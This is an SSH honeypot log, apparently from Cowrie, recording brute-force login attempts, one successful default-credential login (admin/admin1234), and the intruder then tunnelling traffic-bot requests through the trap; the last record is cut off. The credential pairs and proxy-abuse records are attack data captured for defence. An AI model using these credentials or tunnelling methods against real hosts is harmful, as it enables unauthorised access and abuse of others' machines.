{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:31.042612Z","src_ip":"45.153.34.195","session":"b499c80c1a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65518,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1deaf3302ed","protocol":"ssh","message":"New connection: 91.92.40.36:65518 (10.17.0.5:22) [session: a1deaf3302ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:32.204728Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18842,"dst_ip":"10.17.0.5","dst_port":22,"session":"b694520e87a0","protocol":"ssh","message":"New connection: 45.153.34.195:18842 (10.17.0.5:22) [session: b694520e87a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:32.209188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:32.214285Z","src_ip":"45.153.34.195","session":"b694520e87a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:32.304984Z","src_ip":"45.153.34.195","session":"b694520e87a0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:32.615041Z","src_ip":"91.92.40.36","session":"a1deaf3302ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:32.813326Z","src_ip":"45.153.34.195","session":"b694520e87a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:33.426560Z","src_ip":"91.92.40.36","session":"a1deaf3302ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:33.896496Z","src_ip":"45.153.34.195","session":"b694520e87a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18856,"dst_ip":"10.17.0.5","dst_port":22,"session":"a336e964d1ed","protocol":"ssh","message":"New connection: 45.153.34.195:18856 (10.17.0.5:22) [session: a336e964d1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:35.098031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:35.103341Z","src_ip":"45.153.34.195","session":"a336e964d1ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:35.184208Z","src_ip":"45.153.34.195","session":"a336e964d1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:35.505204Z","src_ip":"45.153.34.195","session":"a336e964d1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.543147802352905,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:36.127038Z","src_ip":"94.23.66.112","session":"e2d0e0b35306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:36.589434Z","src_ip":"45.153.34.195","session":"a336e964d1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63502,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d13dc3e88f","protocol":"ssh","message":"New connection: 123.27.168.40:63502 (10.17.0.5:22) [session: c7d13dc3e88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:36.664513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:36.668801Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:36.899344Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k","password":"k","message":"login attempt [k/k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:37.781428Z","src_ip":"91.92.40.36","session":"a1deaf3302ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:37.909358Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13900,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a9e3477d391","protocol":"ssh","message":"New connection: 91.92.40.36:13900 (10.17.0.5:22) [session: 5a9e3477d391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:37.925630Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18868,"dst_ip":"10.17.0.5","dst_port":22,"session":"5861c09e5121","protocol":"ssh","message":"New connection: 45.153.34.195:18868 (10.17.0.5:22) [session: 5861c09e5121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:37.959820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:37.967248Z","src_ip":"45.153.34.195","session":"5861c09e5121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.054202Z","src_ip":"45.153.34.195","session":"5861c09e5121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.276814Z","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.299940Z","src_ip":"45.153.34.195","session":"5861c09e5121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.512728Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.111 Mobile/16G114 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q1ZLOSQ5YnkpXlgraDltPg%3D%3De7XiJtLYS9qXhiCYWnzTzuylkVyAn%2FLmNCycHldIl7TOrRdXRgSQOp4xQYN5rPgn2pGjudUBs7xfdtVw%2BjO0XYDOpCmvKGXfCxkX4C9ok83%2BbgM9sU%2F3F%2BpQCvzf2dazHfNTyJq%2FlsSfBcpe1IMUi8DYQ5Zp8d9yyEDOcwj2f3TrTI1%2B9%2F1zlhsJSqVY2DiB3RmESUBQMrohb84V4xtwo5PsW8EqVyEza3dvCIQvVRn5m%2BO%2F0Jyl6DFXl18aIHDFPjrIqY9ky4g3iefcPaFofg4WJUTbiP4fEt70ebCGYHR6Edf7duu6ZYzdFecShoAo729495ktNBpj%2FEJYytqWISmNuprDdwTToXM5uB6TM0RRmRvNcTQLTyWovu1beLV%2BNz8EBOLKtfPUMxIuJjooATlaTnX3JwPmF8wmvqzUSyUh3%2BUIWP4V%2BUNuC%2Bxq7sm9mw46tCqCrlX24RS4CuvCTgVGqgU%2BitD9cLp%2BgfFIi0VuVmaT1qTI%2BKArtYSclx1ThTYpSI7QtqTl9Xzi8F8Y%2FYBSkKsLzSraDaH1DZTzgpF%2BJdh7IIDDocb0pJi%2FzpHcdb67Xtwu%2B3tEo9d1etQqykF4QEpqgAzvV92JQyePNhmuQ9Z0d4IPErFxPdc%2Fou1oX6P0gDRvQLoLoQ%2FshMzFSwnl0YJoJtSXj6%2Bgjz88RJu39rN1CjsDbDw0egEaU4Way7qZUiIb5niiDK9c8yhZiXHpPgZbFyTQqCYWEjlJRVyIDFslatM18dVHjyl8NjMiw3EIRsaza1U1H7oP6anx8mF0dPe9OhGjSgFtGFZvq4C8TMQWubh7%2Fvpohl9%2BlLGMYzAvBzMJ4M33Sifg4i%2FeouEEgHefFAReWqMddYKA8YnGxm2BdF%2Fq%2FSuTffjhH5BY34C6RfM7Lrliy8Q36sJe7baEAfahqClARda9IjxxqbC8qJ%2F1OU9IEbBlZW3Cav6bkJOpRoJE04cEpTCa7%2Fk6ZQau7u5AN58Kc2UNk7wNMiejbefOV58EioEudt7ITmXedCg%2BQV2OaeKmNIWsmMbueiHBx87zh7GHxZgC4h1QqMg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.111 Mobile/16G114 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q1ZLOSQ5YnkpXlgraDltPg%3D%3De7XiJtLYS9qXhiCYWnzTzuylkVyAn%2FLmNCycHldIl7TOrRdXRgSQOp4xQYN5rPgn2pGjudUBs7xfdtVw%2BjO0XYDOpCmvKGXfCxkX4C9ok83%2BbgM9sU%2F3F%2BpQCvzf2dazHfNTyJq%2FlsSfBcpe1IMUi8DYQ5Zp8d9yyEDOcwj2f3TrTI1%2B9%2F1zlhsJSqVY2DiB3RmESUBQMrohb84V4xtwo5PsW8EqVyEza3dvCIQvVRn5m%2BO%2F0Jyl6DFXl18aIHDFPjrIqY9ky4g3iefcPaFofg4WJUTbiP4fEt70ebCGYHR6Edf7duu6ZYzdFecShoAo729495ktNBpj%2FEJYytqWISmNuprDdwTToXM5uB6TM0RRmRvNcTQLTyWovu1beLV%2BNz8EBOLKtfPUMxIuJjooATlaTnX3JwPmF8wmvqzUSyUh3%2BUIWP4V%2BUNuC%2Bxq7sm9mw46tCqCrlX24RS4CuvCTgVGqgU%2BitD9cLp%2BgfFIi0VuVmaT1qTI%2BKArtYSclx1ThTYpSI7QtqTl9Xzi8F8Y%2FYBSkKsLzSraDaH1DZTzgpF%2BJdh7IIDDocb0pJi%2FzpHcdb67Xtwu%2B3tEo9d1etQqykF4QEpqgAzvV92JQyePNhmuQ9Z0d4IPErFxPdc%2Fou1oX6P0gDRvQLoLoQ%2FshMzFSwnl0YJoJtSXj6%2Bgjz88RJu39rN1CjsDbDw0egEaU4Way7qZUiIb5niiDK9c8yhZiXHpPgZbFyTQqCYWEjlJRVyIDFslatM18dVHjyl8NjMiw3EIRsaza1U1H7oP6anx8mF0dPe9OhGjSgFtGFZvq4C8TMQWubh7%2Fvpohl9%2BlLGMYzAvBzMJ4M33Sifg4i%2FeouEEgHefFAReWqMddYKA8YnGxm2BdF%2Fq%2FSuTffjhH5BY34C6RfM7Lrliy8Q36sJe7baEAfahqClARda9IjxxqbC8qJ%2F1OU9IEbBlZW3Cav6bkJOpRoJE04cEpTCa7%2Fk6ZQau7u5AN58Kc2UNk7wNMiejbefOV58EioEudt7ITmXedCg%2BQV2OaeKmNIWsmMbueiHBx87zh7GHxZgC4h1QqMg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.515676Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.539731Z","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.678401Z","src_ip":"91.92.40.36","session":"5a9e3477d391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.682838Z","src_ip":"91.92.40.36","session":"5a9e3477d391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.967618Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\x04`\\xa5\\xf8\\x06#\\x8b&\\x93\" \\xa9\\xe6\\xe7\\xd6m\\xf0\\xe6\\xc6~\\x19>P7\\xf7\\xf5\\xa4\\xb1\\x9e7v \\\\\\x89\\xe4<\\x8a\\xa7\\xbf~\\xc7\\x01=$T\\xb6\\xb9\\xcf\\xeb\\xe7.\\xca\\x96\\xddOx\\xf7v\\xe4\\x16%v\\xe3b\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 